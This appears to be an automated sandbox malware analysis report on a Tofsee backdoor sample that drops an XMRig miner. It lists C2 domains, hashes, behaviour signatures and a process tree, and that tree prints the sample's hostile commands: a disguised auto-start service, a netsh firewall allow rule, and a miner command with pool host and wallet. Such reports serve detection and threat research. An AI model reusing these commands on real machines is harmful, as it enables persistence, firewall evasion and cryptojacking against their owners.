Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/01/2023, 20:25

General

  • Target
    file.exe
  • Size 259KB
  • Sample230108-y698jsab5v
  • SHA256 454bbdd44e614305be5b723dd0df8cb3c717decf06185a87e4da4e26ce7e59f7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1312
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\skfncezp\
      2⤵
        PID:1716
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qwjexerm.exe" C:\Windows\SysWOW64\skfncezp\
        2⤵
          PID:8
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create skfncezp binPath= "C:\Windows\SysWOW64\skfncezp\qwjexerm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4876
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description skfncezp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4860
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start skfncezp
          2⤵
          • Launches sc.exe
          PID:3296
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5076
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1312 -s 672
          2⤵
          • Program crash
          PID:4496
      • C:\Windows\SysWOW64\skfncezp\qwjexerm.exe
        C:\Windows\SysWOW64\skfncezp\qwjexerm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:384
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1168
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4808
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 536
          2⤵
          • Program crash
          PID:4536
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1312 -ip 1312
        1⤵
          PID:1828
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 384 -ip 384
          1⤵
            PID:3060

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                qwjexerm.exe

                • Path C:\Users\Admin\AppData\Local\Temp\qwjexerm.exe
                • Size 12.0MB
                • SHA256 6c3758727fe87a6ddebaa60aa0510c63253491f78d879bf1bef333233d1116f3
                • MD5 SHA1 SHA512 SSDEEP

                qwjexerm.exe

                • Path C:\Windows\SysWOW64\skfncezp\qwjexerm.exe
                • Size 12.0MB
                • SHA256 6c3758727fe87a6ddebaa60aa0510c63253491f78d879bf1bef333233d1116f3
                • MD5 SHA1 SHA512 SSDEEP

                memory/384-152-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/384-150-0x0000000002F19000-0x0000000002F29000-memory.dmp

                memory/1168-157-0x0000000002180000-0x0000000002186000-memory.dmp

                memory/1168-147-0x0000000000B10000-0x0000000000B25000-memory.dmp

                memory/1168-169-0x00000000021F0000-0x00000000021F7000-memory.dmp

                memory/1168-166-0x0000000007900000-0x0000000007D0B000-memory.dmp

                memory/1168-163-0x00000000021E0000-0x00000000021E5000-memory.dmp

                memory/1168-160-0x0000000002190000-0x00000000021A0000-memory.dmp

                memory/1168-154-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/1168-153-0x0000000000B10000-0x0000000000B25000-memory.dmp

                memory/1168-151-0x0000000000B10000-0x0000000000B25000-memory.dmp

                memory/1312-132-0x0000000002F4D000-0x0000000002F5D000-memory.dmp

                memory/1312-145-0x0000000002E50000-0x0000000002E63000-memory.dmp

                memory/1312-133-0x0000000002E50000-0x0000000002E63000-memory.dmp

                memory/1312-144-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/1312-143-0x0000000002F4D000-0x0000000002F5D000-memory.dmp

                memory/1312-137-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/4808-178-0x0000000000A00000-0x0000000000AF1000-memory.dmp

                memory/4808-173-0x0000000000A00000-0x0000000000AF1000-memory.dmp